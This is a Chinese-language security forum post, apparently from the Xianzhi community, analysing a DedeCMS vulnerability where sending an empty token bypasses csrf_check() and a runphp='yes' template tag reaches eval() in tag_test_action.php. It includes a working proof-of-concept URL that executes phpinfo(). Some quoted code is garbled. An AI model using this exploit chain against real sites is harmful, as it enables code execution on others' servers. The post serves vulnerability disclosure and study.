

该漏洞的触发点为/dede/tag_test_action.php。起因是csrf_check()的绕过，导致可执行任意代码。
查看/dede/tag_test_action.php文件的源码：

```
*/
require_once(dirname(__FILE__)."/config.php");
CheckPurview('temp_Test');
require_once(DEDEINC."/arc.partview.class.php");
csrf_check();
if(empty($partcode))
{
    ShowMsg(' 错误请求', 'javascript:');
    exit;
}
$partcode = stripslashes($partcode);

if(empty($typeid)) $typeid = 0;
if(empty($showsource)) $showsource = "";

if($typeid>0) $pv = new PartView($typeid);
else $pv = new PartView();

//die('88');
$pv->SetTemplet($partcode, "string"); //跟进
if( $showsource == "" || $showsource == "yes" )
{
    echo "模板代码:";
    echo "<span style='color:red;'><pre>".dede_htmlspecialchars($partcode)."</pre></span>";
    echo "结果:<hr size='1' width='100%'>";
}
$pv->Display();
```

如果直接访问这个文件，会进入csrf_check()函数。提示token错误，且退出执行。

跟进csrf_check()，该函数所在文件为dede/config.php:

```
function csrf_check()
{
    global $token;

    if(!isset($token) || strcmp($token, $_SESSION['token']) != 0){
        echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
        exit;
    }
}
```

这里的判断只是判断token值是否和session中的token相等，还有就是判断token是否存在。就这么来看，貌似比较矛盾。Session['token']的值我们不知道，我们没法伪造。这样的话，我们只需要构造<http://localhost/a.php?token=>这样就可绕过csrf_check()

绕过之后，便可为\$partcode构造payload。

首先是对数据进行初始化。跟进\$pv->SetTemplet()，跟踪变量的流向：

```

function SetTemplet($temp,$stype="file")
{
    if($stype=="string")
    {
        //die('11');
        $this->ctp->LoadSource($temp);
    }
    else
    {
        $this->ctp->LoadTemplet($temp);
    }
    if($this->TypeID > 0)
    {
        //die("777");
        $this->Fields['position'] = $this->TypeLink->GetPositionLink(TRUE);
        $this->Fields['title'] = $this->TypeLink->GetPositionLink(false);
    }
}

```

先知社区

```

function __construct($typeid=0,$needtypelink=TRUE)
{
    global $_sys_globals,$ftp;
    $this->TypeID = $typeid;
    $this->dsqL = $GLOBALS['dsqL'];
    $this->ctp = new DedeTagParse();
    $this->ctp->SetNameSpace("dede","{","}");
    $this->ctp->SetRefObj($this);
    $this->ftp = &$ftp;
    $this->remoteDir = '';
}

```

先知社区

继续跟进DedeTagParse类的LoadSource方法：

```

function LoadSource($str)
{
    /*
    $this->SetDefault();
    $this->SourceString = $str;
    $this->IsCache = FALSE;
    $this->ParseTemplet();
    */
    // 优化模板字符串存取读取方式
    $this->taghashfile = $filename = DEDEDATA.'/tplcache/'.md5($str).'.inc'; // 生成文件名
    if( !is_file($filename) )
    {
        file_put_contents($filename, $str); // 将我们传入的payload写入文件
    }
    $this->LoadTemplate($filename);
}

```

先知社区

在这个方法中，我们传入的payload被写入inc文件中，继续跟踪LoadTemplate：

```

function LoadTemplate($filename)
{
    //die($filename);
    $this->SetDefault();
    if(!file_exists($filename))
    {
        $this->SourceString = " $filename Not Found! ";
        $this->ParseTemplet();
    }
    else
    {
        $fp = @fopen($filename, "r");
        while($line = fgets($fp, 1024))
        {
            $this->SourceString .= $line;
        }
        fclose($fp);
        //var_dump($this->LoadCache($filename));die();
        if($this->LoadCache($filename)) //跟进
        {
            return '';
        }
        else
        {
            $this->ParseTemplet();
        }
    }
}
}

```



这里先是判断文件是否存在，很显然是存在的。随后将文件读入\$this->SourceString字符串中。

继续跟踪LoadCache方法：

```
//把缓冲数组内容读入类
if( isset($z) && is_array($z) )
{
    foreach($z as $k=>$v)
    {
        $this->Count++;
        $ctag = new DedeTag();
        $ctag->CAAttribute = new DedeAttribute();
        $ctag->IsReplace = FALSE;
        $ctag->TagName = $v[0];
        $ctag->InnerText = $v[1];    //$v[1]为phpinfo()
        //echo $ctag->InnerText;die();
        $ctag->StartPos = $v[2];
        $ctag->EndPos = $v[3];
        $ctag->TagValue = '';
        $ctag->TagID = $k;
        if(isset($v[4]) && is_array($v[4]))
        {
            $i = 0;
            $ctag->CAAttribute->Items = array();
            foreach($v[4] as $k=>$v)
            {
                $ctag->CAAttribute->Count++;
                $ctag->CAAttribute->Items[$k]=$v;
            }
        }
        $this->CTags[$this->Count] = $ctag;
    }
}
else
```

在这里，将数据读入缓存中。至此，数据初始化完成。

触发代码执行的点在PartView类的Display方法，源码如下：

```
//
function Display()
{
    $this->dtp->Display();
}
```

```
function __construct($typeid=0,$needtypelink=TRUE)
{
    global $_sys_globals,$ftp;
    $this->TypeID = $typeid;
    $this->dsql = $GLOBALS['dsql'];
    $this->ntp = new DedeTagParse();
    $this->ntp->SetNameSpace("dede","{","}");
    $this->ntp->SetRefObj($this);
    $this->ftp = &$ftp;
    $this->remoteDir = '';

```

```
if($needtypelink)
{

```

```
    $this->TypeLink = new TypeLink($typeid);
    if(is_array($this->TypeLink->TypeInfo))

```

先知社区

在display()方法中再次调用DedeTagParse类中的display()方法：

```
function Display()
{

```

```
    echo $this->GetResult(); //跟进

```

```
}

```

先知社区

跟进GetResult():

```
function GetResult()
{

```

```
    $ResultString = '';
    if($this->Count==1)
    {

```

```
        return $this->SourceString;
    }

```

```
    //die("11");

```

```
    $this->AssignSysTag(); //进入

```

```
    $nextTagEnd = 0;

```

```
    $strok = "";

```

```
    for($i=0;$i<=$this->Count;$i++)
    {

```

```
        $ResultString .= substr($this->SourceString,$nextTagEnd,$this->CTags[$i]->StartPos-$nextTagEnd);

```

```
        $ResultString .= $this->CTags[$i]->GetValue();

```

```
        $nextTagEnd = $this->CTags[$i]->EndPos;
    }

```

```
    $slen = strlen($this->SourceString);

```

```
    if($slen>$nextTagEnd)
    {

```

```
        $ResultString .= substr($this->SourceString,$nextTagEnd,$slen-$nextTagEnd);
    }

```

```
    return $ResultString;
}

```

先知社区

跟进AssignSysTag()方法：

```

*/
function AssignSysTag()
{
    //die("88");
    global $_sys_globals;
    for($i=0;$i<=$this->Count;$i++)
    {
        //var_dump($CTags[$i]);die();
        $CTag = $this->CTags[$i];
        $str = '';

        // 获取一个外部变量
        if( $CTag->TagName == 'global' )
        {
            //引入静态文件
            else if( $CTag->TagName == 'include' )
            {
                //循环一个普通数组
                else if( $CTag->TagName == 'foreach' )
                {
                    //设置/ 获取变量值
                    else if( $CTag->TagName == 'var' )
                    {
                        //运行PHP 接口
                        if( $CTag->GetAtt('runphp') == 'yes' ) // 判断是否模板中是否有runphp='yes' 标签
                        {
                            //echo get_class($CTag);die();
                            $this->RunPHP($CTag, $i); //进入
                        }
                    }
                }
            }
        }
    }
}

```



最后跟进Runphp方法：

```

// 运行PHP 代码
function RunPHP(&$refObj, $i)
{
    $DedeMeValue = $phpcode = '';
    if($refObj->GetAtt('source')=='value' //未进入
    {
        $phpcode = $this->CTags[$i]->TagValue;
    }
    else //进
    {
        $DedeMeValue = $this->CTags[$i]->TagValue;
        $phpcode = $refObj->GetInnerText(); //获取php代码
    }
    $phpcode = preg_replace("/'@me'/'@me'/'@me/i", '$DedeMeValue', $phpcode);
    @eval($phpcode); //or die("<xmp>$phpcode</xmp>");

    $this->CTags[$i]->TagValue = $DedeMeValue;
    $this->CTags[$i]->IsReplace = TRUE;
}
}

```



在这里，只是简单的将数据从对象中提取出来，做一些简单的字符串替换，便可成功执行代码。

综上，我们传入的\$partcode变量应该符合dedecms模板格式，且带有runphp='yes'标签。

基于此，我们可构造以下payload：


```
partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field}
```

加上绕过csrf_check()的payload，得到最后的poc：

[http://localhost/后台地址/tag_test_action.php?url=a&token=&partcode={dede:field name='source' runphp='yes'}phpinfo\(\);{/dede:field}](http://localhost/后台地址/tag_test_action.php?url=a&token=&partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field})

模板代码:
{dede:field name='source' runphp='yes'}phpinfo();{/dede:field}
结果:

PHP Version 5.2.17



System	Windows NT LAPTOP-1066GJSA 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscrip /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--with-snapshot-template=d:\php-sdk\snap_5_2\vc6\x86\template" "--with-php-build=d:\php-sdk\snap_5_2\vc6\x86\php_build" "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk\shared" "--with-oci8=D:\php-sdk\oracle\instantclient10\sdk\shared" "--without-pi3web"
Server API	Apache 2.4 Handler - Apache Lounge


查看器 控制台 调试器 {} 样式编辑器 @ 性能 内存 网络 存储 HackBar

Encryption Encoding Other

Load URL

Split URL

http://localhost/dedecms2/dede/tag_test_action.php?url=a&token=&partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field}



利用条件：登录后台
解决方案：重新实现csrf_check()函数
点击收藏 | 2 关注 | 1
[上一篇：JAVA RMI 反序列化流程原理分析](#) [下一篇：Apache JMeter rmi...](#)
1. 3 条回复



[FortuneC00kie](#) 2018-03-28 08:22:04

膜智慧树师傅

0 回复Ta



[wisdomtree](#) 2018-03-28 16:06:15

[@FortuneC00kie](#) 学长带我飞

0 回复Ta



[lipand****](#) 2019-07-10 22:07:40

师傅 DedeTagParse::getResult() 方法里面那个 this.count == -1怎么绕过鸭QAQ

0 回复Ta

[登录](#) 后跟帖

[先知社区](#)

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)